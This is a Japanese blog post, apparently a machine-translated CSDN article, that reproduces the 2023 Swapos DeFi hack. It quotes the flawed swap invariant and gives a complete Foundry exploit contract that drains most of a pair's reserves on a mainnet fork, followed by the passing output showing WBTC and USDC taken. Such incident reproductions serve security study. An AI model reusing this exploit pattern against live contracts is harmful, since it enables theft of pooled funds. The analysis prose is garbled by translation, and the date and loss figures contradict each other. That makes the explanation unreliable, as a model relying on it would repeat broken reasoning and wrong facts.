【ブロックチェーンセキュリティ-DEFI攻撃再発】 002-20230416 スワポス

【ブロックチェーンセキュリティ-DEFI攻撃再発】 002-20230416 スワポス


2023 年 4 月 19 日、 ETH オンチェーン Swapos が 攻撃され、損失は 468K USD に達しました。

攻撃紹介

2023 年 4 月 19 日に、チェーンが攻撃されて損失が発生した@BeosinAlertという警告が発行され、攻撃ハッシュの 1 つが.EthereumSwaposV2Pair$467,1920x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a


攻撃分析

分析にファルコンを使用すると、攻撃はプロセスの観点から非常に単純です。つまり、呼び出される関数は、SWP-V2バランスの抜け穴がない限り、swap一般的に言えば、routerそれと対話します(以前の 001-OLIFE も使用されていました)。swap同様の抜け穴)。

バグはここにあります:

        balance0 = IERC20(_token0).balanceOf(address(this));
        balance1 = IERC20(_token1).balanceOf(address(this));
        }
        uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
        uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
        require(amount0In > 0 || amount1In > 0, 'SwaposV2: INSUFFICIENT_INPUT_AMOUNT');
        { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
        uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(10));
        uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(10));
        require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'SwaposV2: K');
        }

balance0Adjusted合計balance1Adjustedが乗算されるため、最終的には途中で 100 倍悪化する10000だけです。mul(1000*2)

渡さないので、そう_reserve0 - amount0Out = 0なのでbalance0Adjusted = balance0、会うだけでbalance0Adjusted * 10 >= _reserve0、 があるのでrequire(amount0In > 0 || amount1In > 0, 'SwaposV2: INSUFFICIENT_INPUT_AMOUNT');、1ユニットを手動で転送して制限をバイパスできます。


POC

攻撃 POC は次のとおりです。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~ 486K US$
// Event : Swapos Hack
// Analysis via https://explorer.phalcon.xyz/tx/eth/0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a
// Attacker : 0x53fc4a4a638378b9b81393fbe0fa9a6de2323ebd
// Attack Contract : 0x2df07c054138bf29348f35a12a22550230bd1405
// Vulnerable Contract : 0xf40593a22398c277237266a81212f7d41023b630 (Pancake Swap Contract)
// Attack Tx : https://etherscan.io/tx/0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a

// @Info
// Price manipulation, Vulnerability Exploit

// @Analysis
// DefiHackLab : https://twitter.com/BeosinAlert/status/1647552192243728385

address constant SWAP_ADDRESS = 0xf40593A22398c277237266A81212f7D41023b630;
address constant WBTC_ADDRESS = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
uint256 constant USDC_DECIMALS = 6;
uint256 constant WBTC_DECIMALS = 8;

contract Swapos is Test { // EOA Simulation

    function setUp() public {
        vm.createSelectFork("mainnet",17057442); // Go back before hacking time
        console.log("start with block %d",17057442);
        console.log("Attacker address %s",address(this));
    }

    function testExploit() public {
        console.log("start hacking...");
        emit log_named_decimal_uint("[Start] Attacker WBTC Balance", IERC20(WBTC_ADDRESS).balanceOf(address(this)), WBTC_DECIMALS);
        emit log_named_decimal_uint("[Start] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), USDC_DECIMALS);

        Exploit exploit = new Exploit();
        
        exploit.attack();

        console.log("End hacking...");
        emit log_named_decimal_uint("[End] Attacker WBTC Balance", IERC20(WBTC_ADDRESS).balanceOf(address(this)), WBTC_DECIMALS);
        emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), USDC_DECIMALS);


    }
}

contract Exploit is Test{

    address owner;
    constructor() public{
        owner = msg.sender;
    }

    function attack() public {
        deal(USDC_ADDRESS, address(this), 1);
        IUniswapV2Pair pair = IUniswapV2Pair(SWAP_ADDRESS);
        (uint256 amount0, uint256 amount1,) = pair.getReserves();
        IERC20(USDC_ADDRESS).transfer(SWAP_ADDRESS,1);
        pair.swap(amount0/10 * 9, amount1/10 * 9,owner,"");
    }
}

出力は次のとおりです。

[PASS] testExploit() (gas: 2527934)
Logs:
  start with block 17057442
  Attacker address 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
  start hacking...
  [Start] Attacker WBTC Balance: 0.00000000
  [Start] Attacker USDC Balance: 0.000000
  End hacking...
  [End] Attacker WBTC Balance: 1.42229691
  [End] Attacker USDC Balance: 43099.909083

要約する

正直なところ、なんと言っていいのかわかりませんが、この種の問題は誰もが責任を負っています。.

アドレスを調べたところ0x78520513e30ce6Beba2f2e393ae581f3d77db993、それによって作成されたコントラクトは、攻撃が発生してから 20 ブロック後に流動性をすぐに撤回しました。

おすすめ

転載: blog.csdn.net/weixin_43982484/article/details/130413878